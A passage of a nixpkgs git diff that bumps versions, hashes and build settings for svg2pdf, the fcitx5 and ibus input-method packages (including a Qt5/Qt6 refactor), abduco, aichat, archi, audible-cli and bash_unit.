a/pkgs/tools/graphics/svg2pdf/default.nix +++ b/pkgs/tools/graphics/svg2pdf/default.nix @@ -5,16 +5,16 @@ rustPlatform.buildRustPackage rec { pname = "svg2pdf"; - version = "0.9.1"; + version = "0.10.0"; src = fetchFromGitHub { owner = "typst"; repo = "svg2pdf"; rev = "v${version}"; - hash = "sha256-mWj9zWxqcJ+5VFYSaeNLxClWdOGd34JboZBwT8E75Ew="; + hash = "sha256-4gCEm/E7lzd6pLyJnEEswtpZ45cCxAaHMxOWMY0I2Y8="; }; - cargoHash = "sha256-zP448dFnkoPca/GJA2kT5ht1fVGkWN0XdaKEePJaloQ="; + cargoHash = "sha256-PBnOGXV9Q9BMxhzx/xs2hXsy0wzcCvrspee6M4WxqX0="; cargoBuildFlags = [ "-p=svg2pdf-cli" diff --git a/pkgs/tools/graphics/welkin/default.nix b/pkgs/tools/graphics/welkin/default.nix index 111abc745be51..e825f5e5d2b83 100644 --- a/pkgs/tools/graphics/welkin/default.nix +++ b/pkgs/tools/graphics/welkin/default.nix @@ -32,7 +32,7 @@ stdenv.mkDerivation rec { ]; hydraPlatforms = []; sourceProvenance = with lib.sourceTypes; [ binaryBytecode ]; - license = lib.licenses.free; + license = lib.licenses.bsd3; platforms = with lib.platforms; unix; }; } diff --git a/pkgs/tools/inputmethods/fcitx5/default.nix b/pkgs/tools/inputmethods/fcitx5/default.nix index a3b5e180bcfbf..865134947be5c 100644 --- a/pkgs/tools/inputmethods/fcitx5/default.nix +++ b/pkgs/tools/inputmethods/fcitx5/default.nix @@ -44,13 +44,13 @@ let in stdenv.mkDerivation rec { pname = "fcitx5"; - version = "5.1.7"; + version = "5.1.8"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - hash = "sha256-XI4E+fWDIYDiYBv6HezytaZmhzv4NUaNam1T5Fyx+LI="; + hash = "sha256-MeknggrpOzpkT1EXZCftIrlevuMEEHM5d8vszKRp+DI="; }; prePatch = '' diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix index 385043ef9a298..0699f23e3aabe 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-chinese-addons.nix @@ -1,5 +1,5 @@ { lib -, mkDerivation +, stdenv , fetchurl , fetchFromGitHub , cmake @@ -13,6 +13,7 @@ , opencc , curl , fmt +, qtbase , luaSupport ? true }: @@ -29,15 +30,15 @@ let }; in -mkDerivation rec { +stdenv.mkDerivation rec { pname = "fcitx5-chinese-addons"; - version = "5.1.3"; + version = "5.1.4"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - sha256 = "sha256-z+udRjvAZbnu6EcvvdaFVCr0OKLxFBJbgoYpH9QjrDI="; + sha256 = "sha256-OqVoXZ8SIO8KRs3ehxul9Ug4sV47cxVCbLCBh6/8EoE="; }; nativeBuildInputs = [ @@ -62,6 +63,12 @@ mkDerivation rec { fmt ] ++ lib.optional luaSupport fcitx5-lua; + cmakeFlags = [ + (lib.cmakeBool "USE_QT6" (lib.versions.major qtbase.version == "6")) + ]; + + dontWrapQtApps = true; + meta = with lib; { description = "Addons related to Chinese, including IME previous bundled inside fcitx4"; homepage = "https://github.com/fcitx/fcitx5-chinese-addons"; diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix index b726a3515508e..f0553a5d52f75 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-configtool.nix @@ -1,60 +1,81 @@ { lib -, mkDerivation +, stdenv , fetchFromGitHub , cmake , extra-cmake-modules +, pkg-config , fcitx5 , fcitx5-qt -, qtx11extras -, qtquickcontrols2 +, qtbase +, qtsvg +, qtwayland +, qtdeclarative +, qtx11extras ? null +, kitemviews , kwidgetsaddons +, qtquickcontrols2 ? null +, kcoreaddons , kdeclarative -, kirigami2 +, kirigami ? null +, kirigami2 ? null , isocodes , xkeyboardconfig , libxkbfile -, libXdmcp -, plasma5Packages -, plasma-framework +, libplasma ? null +, plasma-framework ? null +, wrapQtAppsHook , kcmSupport ? true }: -mkDerivation rec { +stdenv.mkDerivation rec { pname = "fcitx5-configtool"; - version = "5.1.3"; + version = "5.1.4"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - sha256 = "sha256-IwGlhIeON0SenW738p07LWZAzVDMtxOSMuUIAgfmTEg="; + sha256 = "sha256-jYO1jdiuDjt6e98qhwMpTQTnGxoIYWMKkORGJbmk3mk="; }; cmakeFlags = [ - "-DKDE_INSTALL_USE_QT_SYS_PATHS=ON" + (lib.cmakeBool "KDE_INSTALL_USE_QT_SYS_PATHS" true) + (lib.cmakeBool "ENABLE_KCM" kcmSupport) + (lib.cmakeBool "USE_QT6" (lib.versions.major qtbase.version == "6")) ]; nativeBuildInputs = [ cmake extra-cmake-modules + pkg-config + wrapQtAppsHook ]; buildInputs = [ fcitx5 fcitx5-qt - qtx11extras - qtquickcontrols2 - kirigami2 + qtbase + qtsvg + qtwayland + kitemviews + kwidgetsaddons isocodes xkeyboardconfig libxkbfile - libXdmcp - ] ++ lib.optionals kcmSupport [ + ] ++ lib.optionals (lib.versions.major qtbase.version == "5") [ + qtx11extras + ] ++ lib.optionals kcmSupport ([ + qtdeclarative + kcoreaddons kdeclarative - kwidgetsaddons - plasma5Packages.kiconthemes + ] ++ lib.optionals (lib.versions.major qtbase.version == "5") [ + qtquickcontrols2 plasma-framework - ]; + kirigami2 + ] ++ lib.optionals (lib.versions.major qtbase.version == "6") [ + libplasma + kirigami + ]); meta = with lib; { description = "Configuration Tool for Fcitx5"; diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix index 1036b28685c3e..6be9e49886f8a 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-gtk.nix @@ -26,13 +26,13 @@ stdenv.mkDerivation rec { pname = "fcitx5-gtk"; - version = "5.1.1"; + version = "5.1.2"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - sha256 = "sha256-Ex24cHTsYsZjP8o+vrCdgGogk1UotWpd8xaLZAqzgaQ="; + sha256 = "sha256-iNqY/VORDEPR4rc0LjVgcojZlMcT+LBdrdOwBkC5Vkk="; }; outputs = [ "out" "dev" ]; diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-hangul.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-hangul.nix index 9a1a2c8eca247..23aabde1e653c 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-hangul.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-hangul.nix @@ -11,13 +11,13 @@ stdenv.mkDerivation rec { pname = "fcitx5-hangul"; - version = "5.1.1"; + version = "5.1.2"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - sha256 = "sha256-3gkZh+ZzgTdpTbQe92gxJlG0x6Yhl7LfMiFEq5mb92o="; + sha256 = "sha256-S5TGjb5vD0rk7V88b4yRziszLrwO1pgVFWuEGMp48oY="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-qt.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-qt.nix index 202886e4e8e11..b0cd6dc6d59be 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-qt.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-qt.nix @@ -1,52 +1,50 @@ { lib -, mkDerivation +, stdenv , fetchFromGitHub , cmake , extra-cmake-modules , fcitx5 -, qtx11extras -, libxcb -, libXdmcp , qtbase -, qt6 +, qtwayland +, wrapQtAppsHook , wayland }: - -mkDerivation rec { - pname = "fcitx5-qt"; +let + majorVersion = lib.versions.major qtbase.version; +in +stdenv.mkDerivation rec { + pname = "fcitx5-qt${majorVersion}"; version = "5.1.4"; src = fetchFromGitHub { owner = "fcitx"; - repo = pname; + repo = "fcitx5-qt"; rev = version; sha256 = "sha256-bVH2US/uEZGERslnAh/fyUbzR9fK1UfG4J+mOmrIE8Y="; }; - preConfigure = '' - substituteInPlace qt5/platforminputcontext/CMakeLists.txt \ - --replace \$"{CMAKE_INSTALL_QT5PLUGINDIR}" $out/${qtbase.qtPluginPrefix} - substituteInPlace qt6/platforminputcontext/CMakeLists.txt \ - --replace \$"{CMAKE_INSTALL_QT6PLUGINDIR}" $out/${qt6.qtbase.qtPluginPrefix} + postPatch = '' + substituteInPlace qt${majorVersion}/platforminputcontext/CMakeLists.txt \ + --replace \$"{CMAKE_INSTALL_QT${majorVersion}PLUGINDIR}" $out/${qtbase.qtPluginPrefix} ''; cmakeFlags = [ - # adding qt6 to buildInputs would result in error: detected mismatched Qt dependencies - "-DCMAKE_PREFIX_PATH=${qt6.qtbase};${qt6.qtwayland}" - "-DENABLE_QT4=0" - "-DENABLE_QT6=1" + "-DENABLE_QT4=OFF" + "-DENABLE_QT5=OFF" + "-DENABLE_QT6=OFF" + "-DENABLE_QT${majorVersion}=ON" ]; nativeBuildInputs = [ cmake extra-cmake-modules + wrapQtAppsHook ]; buildInputs = [ + qtbase + qtwayland fcitx5 - qtx11extras - libxcb - libXdmcp wayland ]; diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-rime.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-rime.nix index 3698abeed8aa1..4fecf46e5e3b2 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-rime.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-rime.nix @@ -14,11 +14,11 @@ stdenv.mkDerivation rec { pname = "fcitx5-rime"; - version = "5.1.4"; + version = "5.1.5"; src = fetchurl { url = "https://download.fcitx-im.org/fcitx5/${pname}/${pname}-${version}.tar.xz"; - hash = "sha256-tbCIWenH5brJUVIsmOiw/E/uIXAWwK1yangIVlkeOAs="; + hash = "sha256-/eVgF5kgf1gmbkOInoGbmH/eH0vO2xj3X6k+wzeEssM="; }; cmakeFlags = [ diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix index 31ecbed35bc98..6cfced6a632e6 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-skk.nix @@ -10,19 +10,18 @@ , libskk , qtbase , skk-dicts -, wrapQtAppsHook , enableQt ? false }: stdenv.mkDerivation rec { pname = "fcitx5-skk"; - version = "5.1.1"; + version = "5.1.2"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - sha256 = "sha256-a+ZsuFEan61U0oOuhrTFoK5J4Vd0jj463jQ8Mk7TdbA="; + sha256 = "sha256-vg79zJ/ZoUjCKU11krDUjO0rAyZxDMsBnHqJ/I6NTTA="; }; nativeBuildInputs = [ @@ -30,7 +29,7 @@ stdenv.mkDerivation rec { extra-cmake-modules gettext pkg-config - ] ++ lib.optional enableQt wrapQtAppsHook; + ]; buildInputs = [ fcitx5 @@ -41,10 +40,13 @@ stdenv.mkDerivation rec { ]; cmakeFlags = [ - "-DENABLE_QT=${toString enableQt}" + (lib.cmakeBool "ENABLE_QT" enableQt) + (lib.cmakeBool "USE_QT6" (lib.versions.major qtbase.version == "6")) "-DSKK_DEFAULT_PATH=${skk-dicts}/share/SKK-JISYO.L" ]; + dontWrapQtApps = true; + meta = with lib; { description = "Input method engine for Fcitx5, which uses libskk as its backend"; homepage = "https://github.com/fcitx/fcitx5-skk"; diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-table-extra.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-table-extra.nix index 0320fa5c4f010..dea3e2d038025 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-table-extra.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-table-extra.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "fcitx5-table-extra"; - version = "5.1.3"; + version = "5.1.4"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - hash = "sha256-w4JFZvYFL3fHrDgZqYND2bl3lT9/O1GXgfOwR7WyzWY="; + hash = "sha256-Lb8CYFQl48arJEn9gemZ7imD/gdKjN+7Wnm21/0/Sko="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-table-other.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-table-other.nix index b0129a9234383..410413bf30d82 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-table-other.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-table-other.nix @@ -10,13 +10,13 @@ stdenv.mkDerivation rec { pname = "fcitx5-table-other"; - version = "5.1.0"; + version = "5.1.1"; src = fetchFromGitHub { owner = "fcitx"; repo = pname; rev = version; - sha256 = "sha256-ymHAKaPmQckxM/XHoDOVSzEWpyQGb7zVG21CDwNfyjg="; + sha256 = "sha256-G34hPEdcdi5agWiFEgUHWD18ozOgBCaoS6HMAklUcO4="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/inputmethods/fcitx5/fcitx5-unikey.nix b/pkgs/tools/inputmethods/fcitx5/fcitx5-unikey.nix index aa87d725f1040..a1a077264b3a8 100644 --- a/pkgs/tools/inputmethods/fcitx5/fcitx5-unikey.nix +++ b/pkgs/tools/inputmethods/fcitx5/fcitx5-unikey.nix @@ -6,23 +6,37 @@ , fcitx5 , fcitx5-qt , gettext -, wrapQtAppsHook +, qtbase }: stdenv.mkDerivation rec { pname = "fcitx5-unikey"; - version = "5.1.2"; + version = "5.1.3"; src = fetchFromGitHub { owner = "fcitx"; repo = "fcitx5-unikey"; rev = version; - sha256 = "sha256-tLooADS8HojS9i178i5FJVqZtKrTXlzOBPlE9K49Tjc="; + sha256 = "sha256-wrsA0gSexOZgsJunozt49GyP9R3Xe2Aci7Q8p3zAM9Q="; }; - nativeBuildInputs = [ cmake extra-cmake-modules wrapQtAppsHook ]; + nativeBuildInputs = [ + cmake + extra-cmake-modules + ]; - buildInputs = [ fcitx5 fcitx5-qt gettext ]; + buildInputs = [ + qtbase + fcitx5 + fcitx5-qt + gettext + ]; + + cmakeFlags = [ + (lib.cmakeBool "USE_QT6" (lib.versions.major qtbase.version == "6")) + ]; + + dontWrapQtApps = true; meta = with lib; { description = "Unikey engine support for Fcitx5"; diff --git a/pkgs/tools/inputmethods/fcitx5/with-addons.nix b/pkgs/tools/inputmethods/fcitx5/with-addons.nix index 75fac87b62855..614074595f51a 100644 --- a/pkgs/tools/inputmethods/fcitx5/with-addons.nix +++ b/pkgs/tools/inputmethods/fcitx5/with-addons.nix @@ -4,7 +4,8 @@ , fcitx5 , withConfigtool ? true , fcitx5-configtool -, fcitx5-qt +, libsForQt5 +, qt6Packages , fcitx5-gtk , addons ? [ ] }: @@ -14,7 +15,8 @@ symlinkJoin { paths = [ fcitx5 - fcitx5-qt + libsForQt5.fcitx5-qt + qt6Packages.fcitx5-qt fcitx5-gtk ] ++ lib.optionals withConfigtool [ fcitx5-configtool diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-anthy/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-anthy/default.nix index ab71af9574818..0107e87558809 100644 --- a/pkgs/tools/inputmethods/ibus-engines/ibus-anthy/default.nix +++ b/pkgs/tools/inputmethods/ibus-engines/ibus-anthy/default.nix @@ -13,11 +13,11 @@ stdenv.mkDerivation rec { pname = "ibus-anthy"; - version = "1.5.15"; + version = "1.5.16"; src = fetchurl { url = "https://github.com/ibus/ibus-anthy/releases/download/${version}/${pname}-${version}.tar.gz"; - sha256 = "sha256-WMTm1YNqSsnjOqnoTljE3rZ62pjztUSyRAxXgyN+2Ys="; + sha256 = "sha256-FVIiFLWK2ISsydmx2hPxXbfc12w7GKiFCQRuXsYT0a4="; }; buildInputs = [ diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-m17n/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-m17n/default.nix index eea671dc7b559..2509659cf8ef9 100644 --- a/pkgs/tools/inputmethods/ibus-engines/ibus-m17n/default.nix +++ b/pkgs/tools/inputmethods/ibus-engines/ibus-m17n/default.nix @@ -13,13 +13,13 @@ stdenv.mkDerivation rec { pname = "ibus-m17n"; - version = "1.4.27"; + version = "1.4.28"; src = fetchFromGitHub { owner = "ibus"; repo = "ibus-m17n"; rev = version; - sha256 = "sha256-A8XxmYEi7OuJk1BhXCtk/hx5/JOqg2sJ6yE9gzaTRNA="; + sha256 = "sha256-3/AnytPIIi1Q2i/25rkqOZWgUCtouO+cS+TByp9neOI="; }; nativeBuildInputs = [ diff --git a/pkgs/tools/inputmethods/ibus-engines/ibus-typing-booster/default.nix b/pkgs/tools/inputmethods/ibus-engines/ibus-typing-booster/default.nix index 104cb7b5009f0..47262be28d5c0 100644 --- a/pkgs/tools/inputmethods/ibus-engines/ibus-typing-booster/default.nix +++ b/pkgs/tools/inputmethods/ibus-engines/ibus-typing-booster/default.nix @@ -13,13 +13,13 @@ in stdenv.mkDerivation rec { pname = "ibus-typing-booster"; - version = "2.25.0"; + version = "2.25.3"; src = fetchFromGitHub { owner = "mike-fabian"; repo = "ibus-typing-booster"; rev = version; - hash = "sha256-YGlXdnV2ugssEEccrm1nlylVoZwTspywp1VKawqVkGw="; + hash = "sha256-5WQTJdGKEp231r5vibbNEOPLoLFz7Scnq65FiVar5kY="; }; nativeBuildInputs = [ autoreconfHook pkg-config wrapGAppsHook gobject-introspection ]; diff --git a/pkgs/tools/inputmethods/ibus/build-without-dbus-launch.patch b/pkgs/tools/inputmethods/ibus/build-without-dbus-launch.patch index cb587ccf47d8b..cff6787667fa3 100644 --- a/pkgs/tools/inputmethods/ibus/build-without-dbus-launch.patch +++ b/pkgs/tools/inputmethods/ibus/build-without-dbus-launch.patch @@ -1,19 +1,24 @@ diff --git a/data/dconf/make-dconf-override-db.sh b/data/dconf/make-dconf-override-db.sh -index 601c1c3f..fcb7305d 100755 +index 32cb1530..375baa41 100755 --- a/data/dconf/make-dconf-override-db.sh +++ b/data/dconf/make-dconf-override-db.sh -@@ -12,10 +12,6 @@ export XDG_CACHE_HOME="$TMPDIR/cache" +@@ -12,15 +12,6 @@ export XDG_CACHE_HOME="$TMPDIR/cache" export GSETTINGS_SCHEMA_DIR="$TMPDIR/schemas" mkdir -p $XDG_CONFIG_HOME $XDG_CACHE_HOME $GSETTINGS_SCHEMA_DIR -eval `dbus-launch --sh-syntax` - --trap 'rm -rf $TMPDIR; kill $DBUS_SESSION_BUS_PID' ERR +-trap cleanup EXIT +- +-cleanup() { +- test $? -eq 0 && exit +- rm -rf $TMPDIR; kill $DBUS_SESSION_BUS_PID +-} - # in case that schema is not installed on the system glib-compile-schemas --targetdir "$GSETTINGS_SCHEMA_DIR" "$PWD" -@@ -52,5 +48,3 @@ if [ -d $TMPDIR/cache/gvfs ] ; then +@@ -57,5 +48,3 @@ if [ -d $TMPDIR/cache/gvfs ] ; then umount $TMPDIR/cache/gvfs fi rm -rf $TMPDIR diff --git a/pkgs/tools/inputmethods/ibus/default.nix b/pkgs/tools/inputmethods/ibus/default.nix index 417b1be605d5a..5de2fc67d0203 100644 --- a/pkgs/tools/inputmethods/ibus/default.nix +++ b/pkgs/tools/inputmethods/ibus/default.nix @@ -1,7 +1,7 @@ -{ lib, stdenv +{ lib +, stdenv , substituteAll , fetchFromGitHub -, fetchpatch , autoreconfHook , gettext , makeWrapper @@ -17,6 +17,7 @@ , gtk3 , gtk4 , gtk-doc +, libdbusmenu-gtk3 , runCommand , isocodes , cldr-annotations @@ -26,7 +27,7 @@ , json-glib , libnotify ? null , enableUI ? true -, withWayland ? false +, withWayland ? true , libxkbcommon , wayland , buildPackages @@ -46,23 +47,24 @@ let }; # make-dconf-override-db.sh needs to execute dbus-launch in the sandbox, # it will fail to read /etc/dbus-1/session.conf unless we add this flag - dbus-launch = runCommand "sandbox-dbus-launch" { - nativeBuildInputs = [ makeWrapper ]; - } '' - makeWrapper ${dbus}/bin/dbus-launch $out/bin/dbus-launch \ - --add-flags --config-file=${dbus}/share/dbus-1/session.conf + dbus-launch = runCommand "sandbox-dbus-launch" + { + nativeBuildInputs = [ makeWrapper ]; + } '' + makeWrapper ${dbus}/bin/dbus-launch $out/bin/dbus-launch \ + --add-flags --config-file=${dbus}/share/dbus-1/session.conf ''; in stdenv.mkDerivation rec { pname = "ibus"; - version = "1.5.28"; + version = "1.5.29"; src = fetchFromGitHub { owner = "ibus"; repo = "ibus"; rev = version; - sha256 = "sha256-zjV+QkhVkrHFs9Vt1FpbvmS4nRHxwKaKU3mQkSgyLaQ="; + sha256 = "sha256-d4EUIg0v8rfHdvzG5USc6GLY6QHtQpIJp1PrPaaBxxE="; }; patches = [ @@ -72,27 +74,17 @@ stdenv.mkDerivation rec { pythonSitePackages = python3.sitePackages; }) ./build-without-dbus-launch.patch - # unicode and emoji input are broken before 1.5.29 - # https://github.com/NixOS/nixpkgs/issues/226526 - (fetchpatch { - url = "https://github.com/ibus/ibus/commit/7c8abbe89403c2fcb08e3fda42049a97187e53ab.patch"; - hash = "sha256-59HzAdLq8ahrF7K+tFGLjTodwIiTkJGEkFe8quqIkhU="; - }) - # fix SIGABRT in X11 https://github.com/ibus/ibus/issues/2484 - (fetchpatch { - url = "https://github.com/ibus/ibus/commit/8f706d160631f1ffdbfa16543a38b9d5f91c16ad.patch"; - hash = "sha256-YzS9TmUWW0OmheDeCeU00kFK2U2QEmKYMSRJAbu14ec="; - }) - # fix missing key releases in Wine https://github.com/ibus/ibus/issues/2480 - (fetchpatch { - url = "https://github.com/ibus/ibus/commit/497f0c74230a65309e22ce5569060ce48310406b.patch"; - hash = "sha256-PAZcUxmzjChs1/K8hXgOcytyS4LYoNL1dtU6X5Tx8ic="; - }) ]; outputs = [ "out" "dev" "installedTests" ]; postPatch = '' + # Maintainer does not want to create separate tarballs for final release candidate and release versions, + # so we need to set `ibus_released` to `1` in `configure.ac`. Otherwise, anyone running `ibus version` gets + # a version with an inaccurate `-rcX` suffix. + # https://github.com/ibus/ibus/issues/2584 + substituteInPlace configure.ac --replace "m4_define([ibus_released], [0])" "m4_define([ibus_released], [1])" + patchShebangs --build data/dconf/make-dconf-override-db.sh cp ${buildPackages.gtk-doc}/share/gtk-doc/data/gtk-doc.make . substituteInPlace bus/services/org.freedesktop.IBus.session.GNOME.service.in --replace "ExecStart=sh" "ExecStart=${runtimeShell}" @@ -102,6 +94,11 @@ stdenv.mkDerivation rec { preAutoreconf = "touch ChangeLog"; configureFlags = [ + # The `AX_PROG_{CC,CXX}_FOR_BUILD` autoconf macros can pick up unwrapped GCC binaries, + # so we set `{CC,CXX}_FOR_BUILD` to override that behavior. + # https://github.com/NixOS/nixpkgs/issues/21751 + "CC_FOR_BUILD=${stdenv.cc}/bin/cc" + "CXX_FOR_BUILD=${stdenv.cc}/bin/c++" "--disable-memconf" (lib.enableFeature (dconf != null) "dconf") (lib.enableFeature (libnotify != null) "libnotify") @@ -115,12 +112,6 @@ stdenv.mkDerivation rec { "--with-ucd-dir=${unicode-character-database}/share/unicode" ]; - # missing make dependency - # https://github.com/NixOS/nixpkgs/pull/218120#issuecomment-1514027173 - preBuild = '' - make -C src ibusenumtypes.h - ''; - makeFlags = [ "test_execsdir=${placeholder "installedTests"}/libexec/installed-tests/ibus" "test_sourcesdir=${placeholder "installedTests"}/share/installed-tests/ibus" @@ -154,6 +145,7 @@ stdenv.mkDerivation rec { isocodes json-glib libnotify + libdbusmenu-gtk3 ] ++ lib.optionals withWayland [ libxkbcommon wayland diff --git a/pkgs/tools/inputmethods/unnaturalscrollwheels/default.nix b/pkgs/tools/inputmethods/unnaturalscrollwheels/default.nix index b28b7ad784f8d..6337b0d7f4f51 100644 --- a/pkgs/tools/inputmethods/unnaturalscrollwheels/default.nix +++ b/pkgs/tools/inputmethods/unnaturalscrollwheels/default.nix @@ -15,7 +15,6 @@ stdenvNoCC.mkDerivation (finalAttrs: { # APFS format is unsupported by undmg nativeBuildInputs = [ _7zz ]; - unpackCmd = "7zz x $curSrc"; installPhase = '' runHook preInstall diff --git a/pkgs/tools/misc/abduco/default.nix b/pkgs/tools/misc/abduco/default.nix index 097cfd9170a9c..011f186bbbe20 100644 --- a/pkgs/tools/misc/abduco/default.nix +++ b/pkgs/tools/misc/abduco/default.nix @@ -1,14 +1,18 @@ -{ lib, stdenv, fetchFromGitHub, writeText, conf ? null }: +{ lib, stdenv, fetchpatch, fetchzip, writeText, conf ? null }: -stdenv.mkDerivation rec { +let + rev = "8c32909a159aaa9484c82b71f05b7a73321eb491"; +in +stdenv.mkDerivation { pname = "abduco"; - version = "2020-04-30"; + version = "unstable-2020-04-30"; - src = fetchFromGitHub { - owner = "martanne"; - repo = "abduco"; - rev = "8c32909a159aaa9484c82b71f05b7a73321eb491"; - sha256 = "0a3p8xljhpk7zh203s75248blfir15smgw5jmszwbmdpy4mqzd53"; + src = fetchzip { + urls = [ + "https://github.com/martanne/abduco/archive/${rev}.tar.gz" + "https://git.sr.ht/~martanne/abduco/archive/${rev}.tar.gz" + ]; + hash = "sha256-o7SPK/G31cW/rrLwV3UJOTq6EBHl6AEE/GdeKGlHdyg="; }; preBuild = lib.optionalString (conf != null) @@ -17,6 +21,32 @@ stdenv.mkDerivation rec { installFlags = [ "install-completion" ]; CFLAGS = lib.optionalString stdenv.isDarwin "-D_DARWIN_C_SOURCE"; + patches = [ + # https://github.com/martanne/abduco/pull/22 + (fetchpatch { + name = "use-XDG-directory-scheme-by-default"; + url = "https://github.com/martanne/abduco/commit/0e9a00312ac9777edcb169122144762e3611287b.patch"; + sha256 = "sha256-4NkIflbRkUpS5XTM/fxBaELpvlZ4S5lecRa8jk0XC9g="; + }) + + # “fix bug where attaching to dead session won't give underlying exit code” + # https://github.com/martanne/abduco/pull/45 + (fetchpatch { + name = "exit-code-when-attaching-to-dead-session"; + url = "https://github.com/martanne/abduco/commit/972ca8ab949ee342569dbd66b47cc4a17b28247b.patch"; + sha256 = "sha256-8hios0iKYDOmt6Bi5NNM9elTflGudnG2xgPF1pSkHI0="; + }) + + # “report pixel sizes to child processes that use ioctl(0, TIOCGWINSZ, ...)” + # used for kitty & other terminals that display images + # https://github.com/martanne/abduco/pull/62 + (fetchpatch { + name = "report-pixel-sizes-to-child-processes"; + url = "https://github.com/martanne/abduco/commit/a1e222308119b3251f00b42e1ddff74a385d4249.patch"; + sha256 = "sha256-eiF0A4IqJrrvXxjBYtltuVNpxQDv/iQPO+K7Y8hWBGg="; + }) + ]; + meta = with lib; { homepage = "http://brain-dump.org/projects/abduco"; license = licenses.isc; diff --git a/pkgs/tools/misc/aichat/default.nix b/pkgs/tools/misc/aichat/default.nix index 3a35cb8884973..311d0fb8de875 100644 --- a/pkgs/tools/misc/aichat/default.nix +++ b/pkgs/tools/misc/aichat/default.nix @@ -8,16 +8,16 @@ rustPlatform.buildRustPackage rec { pname = "aichat"; - version = "0.12.0"; + version = "0.13.0"; src = fetchFromGitHub { owner = "sigoden"; repo = "aichat"; rev = "v${version}"; - hash = "sha256-GWT3NYoEQ6fNLeTdBybJyQ0aqYbtaRzK1A3grUL+4jM="; + hash = "sha256-1m0Sf8qC5kGOfXkxQVri+kL3sZfOFKH3TcpNhuOFPVQ="; }; - cargoHash = "sha256-Aah6OcQW2AW+70azLEyS4xnB3AFedvA5MZP+u8RrB9s="; + cargoHash = "sha256-/oEyI6m5j3u89NeEwM4+z1exZfu0FMSf14scAiax3CE="; nativeBuildInputs = [ pkg-config diff --git a/pkgs/tools/misc/archi/default.nix b/pkgs/tools/misc/archi/default.nix index e5850f8871e7b..23c5372e5eef6 100644 --- a/pkgs/tools/misc/archi/default.nix +++ b/pkgs/tools/misc/archi/default.nix @@ -42,9 +42,7 @@ stdenv.mkDerivation rec { autoPatchelfHook ]; - unpackPhase = if stdenv.hostPlatform.isDarwin then '' - 7zz x $src - '' else null; + sourceRoot = if stdenv.isDarwin then "." else null; installPhase = if stdenv.hostPlatform.system == "x86_64-linux" then diff --git a/pkgs/tools/misc/audible-cli/default.nix b/pkgs/tools/misc/audible-cli/default.nix index 297917b6a92a9..4d0134e8eaee8 100644 --- a/pkgs/tools/misc/audible-cli/default.nix +++ b/pkgs/tools/misc/audible-cli/default.nix @@ -27,6 +27,7 @@ python3Packages.buildPythonApplication rec { packaging pillow questionary + setuptools tabulate toml tqdm diff --git a/pkgs/tools/misc/bash_unit/default.nix b/pkgs/tools/misc/bash_unit/default.nix index ffedb168f1b40..19cebbb07e606 100644 --- a/pkgs/tools/misc/bash_unit/default.nix +++ b/pkgs/tools/misc/bash_unit/default.nix @@ -4,15 +4,39 @@ stdenv.mkDerivation rec { pname = "bash_unit"; - version = "2.1.0"; + version = "2.2.0"; src = fetchFromGitHub { owner = "pgrange"; repo = pname; rev = "v${version}"; - sha256 = "sha256-c1C+uBo5PSH07VjulCxkmvfj7UYm6emdDAaN00uvAcg="; + sha256 = "sha256-sYs7b6I1VhO2TLLhMFuaV9AtLoavcoKvCRYfVNGAg20="; }; + patchPhase = '' + runHook prePatch + + patchShebangs bash_unit + + for t in tests/test_*; do + chmod +x "$t" # make test file visible to `patchShebangs` + patchShebangs "$t" + chmod -x "$t" + done + + runHook postPatch + ''; + + doCheck = true; + + checkPhase = '' + runHook preCheck + + ./bash_unit ./tests/test_core.sh + + runHook postCheck + ''; + installPhase = '' mkdir -p $out/bin cp bash_unit $out/bin/ diff 